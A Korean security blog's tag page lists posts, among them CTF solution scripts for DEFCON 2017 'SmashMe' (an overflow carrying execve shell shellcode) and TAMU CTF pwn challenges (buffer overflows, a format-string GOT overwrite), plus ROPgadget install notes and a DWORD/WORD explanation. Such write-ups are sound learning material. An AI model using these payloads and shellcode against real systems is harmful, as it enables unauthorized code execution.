$bash

'$bash'에 해당되는 글 180건

  1. 힙 스프레이 및 uaf?
  2. ROPgadget install
  3. DEFCON_2017 - SmashMe
  4. RSA script
  5. linux remote ida debug
  6. gcc checksec unprotect?
  7. arm-arch 프로세서
  8. qemu 구축(arm-arch)
  9. TAMU CTF - pwnable(1~4)
  10. DWORD? WORD?

힙 스프레이 및 uaf?

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ROPgadget install

0x0300 : Study/0x0301 : System


git clone -b master http://github.com/JonathanSalwan/ROPgadget.git

sudo apt-get install libcapstone3

sudo pip install capstone

sudo pip install ropgadget

./ROPgadget.py --binary ./file

ROPgadget 디렉터리 가서 해야댐..


ref : https://github.com/JonathanSalwan/ROPgadget/tree/master

'0x0300 : Study > 0x0301 : System' 카테고리의 다른 글

리눅스 syscall table for x86_64  (0) 2017.05.12
힙 스프레이 및 uaf?  (0) 2017.05.09
gcc checksec unprotect?  (0) 2017.05.08
2월 22일 system 공부  (0) 2017.02.22
How2Heap - study  (0) 2017.01.24

DEFCON_2017 - SmashMe

0x0400 : Wargame/0x0410 : CTF
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
= remote("smashme_omgbabysfirst.quals.shallweplayage.me"57348)
s.recv(1024)
 
payload  = "\x90"*6
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 
# shellcode 27bit
payload += "smash me outside how bout dAAAAAAAAAAA"
payload += "\x1b\x4e\x4c"
 
s.sendline(payload)
s.interactive()
cs


'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

2017 Hust CTF write up  (0) 2017.05.28
defcon2016 - [rev]baby-re  (0) 2017.05.21
RCTF - [misc]intoU  (0) 2017.05.21
TAMU CTF - pwnable(1~4)  (0) 2017.04.23
Defcon 23 - babycmd  (0) 2017.01.12

RSA script

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

linux remote ida debug

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

gcc checksec unprotect?

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

arm-arch 프로세서

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

qemu 구축(arm-arch)

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

TAMU CTF - pwnable(1~4)

0x0400 : Wargame/0x0410 : CTF

pwn 1 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from time import *
 
context(arch='i386', os='linux')
= remote('pwn.ctf.tamu.edu'4322)
 
flag = 0xCA11AB1E
payload  = 'a'*0x1b
payload += p32(flag)
 
r.sendline(payload)
 
print r.recv(1024)
sleep(0.3)
 
 
cs


pwn 2

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
= remote("pwn.ctf.tamu.edu",4321)
elf = ELF("./pwn2")
 
flag = 0x0804854B
 
payload  = "A"*140
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)
 
 
cs

pwn 3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from time import *
 
= remote("pwn.ctf.tamu.edu"4323)
= process('./pwn3')
 
exit_got = 0x804a01c
print_flag = 0x80485ab - 4
 
payload  = p32(exit_got)
payload += '%%%dx' % print_flag
payload += '%%%d$n' % 4
 
 
print s.recvuntil('Enter a word to be echoed:')
s.sendline(payload)
print s.recvuntil('This function has been deprecated')
 
flag = s.recv(1024)
print flag
 
# 3번은..그냥 (python ~~~ |cat --) | nc 로 해결.
# 익스 코드는 payload를 가지고 gdb 에서 검증.
 
cs

pwn 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
= remote("web.ctf.tamu.edu",4324)
#s.recvuntil("I require an input:")
 
sys = 0x80484d9 # <flag_func+14>
flag = 0x0804A028 # string meun
 
payload  = "A"*16
payload += p32(sys)
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)
 
cs


'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

2017 Hust CTF write up  (0) 2017.05.28
defcon2016 - [rev]baby-re  (0) 2017.05.21
RCTF - [misc]intoU  (0) 2017.05.21
DEFCON_2017 - SmashMe  (0) 2017.05.08
Defcon 23 - babycmd  (0) 2017.01.12

DWORD? WORD?

0x0300 : Study/0x0307 : Reversing

dword ptr의 뜻이 전부터 궁금했는데.

결론은 word 2byte . Dword 4 byte

[] 적혀있는것은 포인터로 이해하면 되는데. 아마 이 개념은 원래 알고 있는 거긴한데


결론은 사이즈 표기? 라 이해해야되는건가... 그래서 좀더 검색 해서 정리해보려고 한다.


WinDef.h 에는 다음과 같이 Dword / word 가 정의 되어 있다.


typedef unsigned long       DWORD;
typedef unsigned short      WORD;


따라서 대부분 win32 기반하에선 DWORD는 4byte(32bit 기준)가 된다. 그럼 당연히 WORD는 2byte(16bit)이 된가고 생각하면 된다.

근데 여기서 또 궁금증이 생기는 것이 왜 32bit window에서 word의 size가 16bit이 될까 인데... 이는 하위 호환성이다.


intel 8086 processor 부터 이어지는 intel CPU Architecture의 하위 호환 문제 때매 컴파일러에서도  그냥 WORD를 16bit을 표현했다고 한다.


그 이외에도 VS에는 DWORD32 / 64 형을 지원 한다고 한다.


typedef unsigned int DWORD32, *PDWORD32;
typedef unsigned __int64 DWORD64, *PDWORD64;

DWORD32를 살펴보면 long대신에 int 가 쓰인다. 그럼 이게 좀 궁금해지는게 .. intel에서 하위 호환 문제를 해결 하기 위해서 규칙을 새웠는데 그걸 어기는것이 아닌가... 흠 잘 모르겠따..


출처 : http://wiki.kldp.org/wiki.php/32bitCodeTo64bit


'0x0300 : Study > 0x0307 : Reversing' 카테고리의 다른 글

Angr 설치  (0) 2017.05.21
linux remote ida debug  (0) 2017.05.08
Reversing _ 1 day(잠시중단)  (2) 2016.12.20
Anti Debugging  (0) 2016.11.30
CodeEnge_Basic L01~05  (0) 2016.10.04